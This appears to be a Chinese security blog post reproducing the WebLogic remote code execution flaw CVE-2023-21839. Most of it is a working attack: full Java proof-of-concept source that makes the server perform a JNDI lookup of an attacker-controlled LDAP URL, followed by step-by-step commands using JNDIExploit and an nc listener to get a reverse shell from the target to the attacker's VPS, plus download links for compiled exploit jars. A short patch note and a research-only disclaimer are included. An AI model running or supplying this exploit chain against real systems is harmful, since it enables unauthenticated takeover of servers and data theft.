Weblogic远程代码执行CVE-2023-21839/CNVD-2023-04389漏洞复现
2023-2-27 09:49:30 Author: 阿乐你好(查看原文) 阅读量:144 收藏

声明:该公众号分享的安全工具和项目均来源于网络,仅供安全研究与学习之用,

如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关。

    WebLogic 存在远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389),由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。
影响范围
  • WebLogic_Server = 12.2.1.3.0

  • WebLogic_Server = 12.2.1.4.0

  • WebLogic_Server = 14.1.1.0.0

危害级别:
  • CNVD-2023-04389

  • CVE-2023-21839

漏洞复现

安装环境

WebLogic_Server = 12.2.1.3.0
安装可参考如下链接
http://www.xsssql.com/article/204.html
环境安装完成访问如图:    由于Weblogic t3/iiop协议支持远程绑定对象bind到服务端,并且可以通过lookup查看,当远程对象继承自OpaqueReference时,lookup查看远程对象,服务端会调用远程对象getReferent方法。weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。
复现步骤
1.新建java项目,并写入poc文件

POC代码如下:

  • import javax.naming.Context;

  • import javax.naming.InitialContext;

  • import javax.naming.NamingException;

  • import java.lang.reflect.Field;

  • import java.util.Hashtable;

  • import java.util.Random;

  • public class CVE_2023_21839 {

  • static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";

  • static String HOW_TO_USE="[*]java -jar 目标ip:端口 ldap地址\ne.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111";

  • private static InitialContext getInitialContext(String url)throws NamingException

  • {

  • Hashtable<String,String> env = new Hashtable<String,String>();

  • env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);

  • env.put(Context.PROVIDER_URL, url);

  • return new InitialContext(env);

  • }

  • public static void main(String args[]) throws Exception {

  • if(args.length <2){

  • System.out.println(HOW_TO_USE);

  • System.exit(0);

  • }

  • String t3Url = args[0];

  • String ldapUrl = args[1];

  • InitialContext c=getInitialContext("t3://"+t3Url);

  • Hashtable<String,String> env = new Hashtable<String,String>();

  • env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");

  • weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();

  • Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");

  • jndiEnvironment.setAccessible(true);

  • jndiEnvironment.set(f,env);

  • Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");

  • remoteJNDIName.setAccessible(true);

  • remoteJNDIName.set(f,ldapUrl);

  • String bindName = new Random(System.currentTimeMillis()).nextLong()+"";

  • try{

  • c.bind(bindName,f);

  • c.lookup(bindName);

  • }catch(Exception e){ }

  • }

  • }

展开

请自行编译上述POC代码,如有需要文章最后会给出编译好的JAR文件

测试DNSlog出网,生成域名

  • java -jar Weblogic-CVE-2023-21839.jar 192.168.200.5:7001 ldap://pktnfv.dnslog.cn

漏洞执行情况

使用JNDIExploit-1.4-SNAPSHOT.jar工具启动ladp服务

加载漏洞利用poc

  • java -jar JNDIExploit-1.4-SNAPSHOT.jar -i ip(VPS的IP地址)

使用nc监听反弹端口

在本机上执行漏洞利用代码

  • java -jar Weblogic-CVE-2023-21839.jar 192.168.200.5:7001 ldap://vsp的ip地址:1389/Basic/ReverseShell/vsp的ip地址/VPS的nc监听端口

JNDI有连接进入,大概几秒后会获取shell


NC获的shell如图:

修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

缓解方式禁用 T3 及 IIOP

下载地址汇总:

补丁下载链接:

  • https://support.oracle.com/rs?type=doc&id=2917213.2

注:weblogic安装在windows此方法无发使用
Weblogic-CVE-2023-21839.jar下载:
  • https://github.com/WhiteHSBG/JNDIExploitWeblogic-CVE-2023-21839.jar

NC下载地址:

https://nmap.org/dist/ncat-portable-5.59BETA1.zip

编译好的POC jar文件下载地址:
参考链接
  • https://github.com/DXask88MA/Weblogic-CVE-2023-21839

  • https://github.com/WhiteHSBG/JNDIExploit

  • https://github.com/4ra1n/CVE-2023-21839

关注公众号回复“21839”可下载编译后的poc文件

文章来源: http://mp.weixin.qq.com/s?__biz=MzIxNTIzNTExMQ==&mid=2247489126&idx=1&sn=764c8d93c94fb5f20d3262271ac4b2d0&chksm=979a392ea0edb038cae0211410cc0d94af0ba4951c76a6c24d3742b3a5bcf5699a391413c538#rd
如有侵权请联系:admin#unsafe.sh